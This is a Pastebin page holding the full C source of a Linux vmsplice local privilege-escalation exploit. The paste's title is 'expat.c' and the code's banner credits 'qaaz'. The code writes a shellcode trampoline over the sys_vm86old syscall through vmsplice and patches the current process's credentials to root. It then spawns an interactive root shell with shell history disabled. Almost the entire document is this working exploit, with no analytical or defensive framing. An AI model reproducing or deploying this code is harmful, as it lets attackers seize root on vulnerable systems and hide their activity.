Guest User

expat.c

a guest
Aug 30th, 2016
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.78 KB | None | 0 0
  1. #define _GNU_SOURCE
  2. #include <stdio.h>
  3. #include <errno.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <unistd.h>
  7. #include <sys/uio.h>
  8.  
  9. #define TARGET_PATTERN " sys_vm86old"
  10. #define TARGET_SYSCALL 113
  11.  
  12. #ifndef __NR_vmsplice
  13. #define __NR_vmsplice 316
  14. #endif
  15.  
  16. #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
  17. #define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)
  18.  
  19. #define TRAMP_CODE (void *) trampoline
  20. #define TRAMP_SIZE ( sizeof(trampoline) - 1 )
  21.  
  22. unsigned char trampoline[] =
  23. "\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */
  24. "\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */
  25. "\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */
  26. "\x75\x02" /* jne +2 */
  27. "\xff\xd1" /* call *%ecx */
  28. "\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */
  29. "\xc3" /* ret */
  30. ;
  31.  
  32. void die(char *msg, int err)
  33. {
  34. printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  35. fflush(stdout);
  36. fflush(stderr);
  37. exit(1);
  38. }
  39.  
  40. long get_target()
  41. {
  42. FILE *f;
  43. long addr = 0;
  44. char line[128];
  45.  
  46. f = fopen("/proc/kallsyms", "r");
  47. if (!f) die("/proc/kallsyms", errno);
  48.  
  49. while (fgets(line, sizeof(line), f)) {
  50. if (strstr(line, TARGET_PATTERN)) {
  51. addr = strtoul(line, NULL, 16);
  52. break;
  53. }
  54. }
  55.  
  56. fclose(f);
  57. return addr;
  58. }
  59.  
  60. static inline __attribute__((always_inline))
  61. void * get_current()
  62. {
  63. unsigned long curr;
  64. __asm__ __volatile__ (
  65. "movl %%esp, %%eax ;"
  66. "andl %1, %%eax ;"
  67. "movl (%%eax), %0"
  68. : "=r" (curr)
  69. : "i" (~8191)
  70. );
  71. return (void *) curr;
  72. }
  73.  
  74. static uint uid, gid;
  75.  
  76. void kernel_code()
  77. {
  78. int i;
  79. uint *p = get_current();
  80.  
  81. for (i = 0; i < 1024-13; i++) {
  82. if (p[0] == uid && p[1] == uid &&
  83. p[2] == uid && p[3] == uid &&
  84. p[4] == gid && p[5] == gid &&
  85. p[6] == gid && p[7] == gid) {
  86. p[0] = p[1] = p[2] = p[3] = 0;
  87. p[4] = p[5] = p[6] = p[7] = 0;
  88. p = (uint *) ((char *)(p + 8) + sizeof(void *));
  89. p[0] = p[1] = p[2] = ~0;
  90. break;
  91. }
  92. p++;
  93. }
  94. }
  95.  
  96. int main(int argc, char *argv[])
  97. {
  98. int pi[2];
  99. long addr;
  100. struct iovec iov;
  101.  
  102. uid = getuid();
  103. gid = getgid();
  104. setresuid(uid, uid, uid);
  105. setresgid(gid, gid, gid);
  106.  
  107. printf("-----------------------------------\n");
  108. printf(" Linux vmsplice Local Root Exploit\n");
  109. printf(" By qaaz\n");
  110. printf("-----------------------------------\n");
  111.  
  112. if (!uid || !gid)
  113. die("!@#$", 0);
  114.  
  115. addr = get_target();
  116. printf("[+] addr: 0x%lx\n", addr);
  117.  
  118. if (pipe(pi) < 0)
  119. die("pipe", errno);
  120.  
  121. iov.iov_base = (void *) addr;
  122. iov.iov_len = TRAMP_SIZE;
  123.  
  124. write(pi[1], TRAMP_CODE, TRAMP_SIZE);
  125. _vmsplice(pi[0], &iov, 1, 0);
  126.  
  127. gimmeroot();
  128.  
  129. if (getuid() != 0)
  130. die("wtf", 0);
  131.  
  132. printf("[+] root\n");
  133. putenv("HISTFILE=/dev/null");
  134. execl("/bin/bash", "bash", "-i", NULL);
  135. die("/bin/bash", errno);
  136. return 0;
  137. }
Add Comment
Please, Sign In to add comment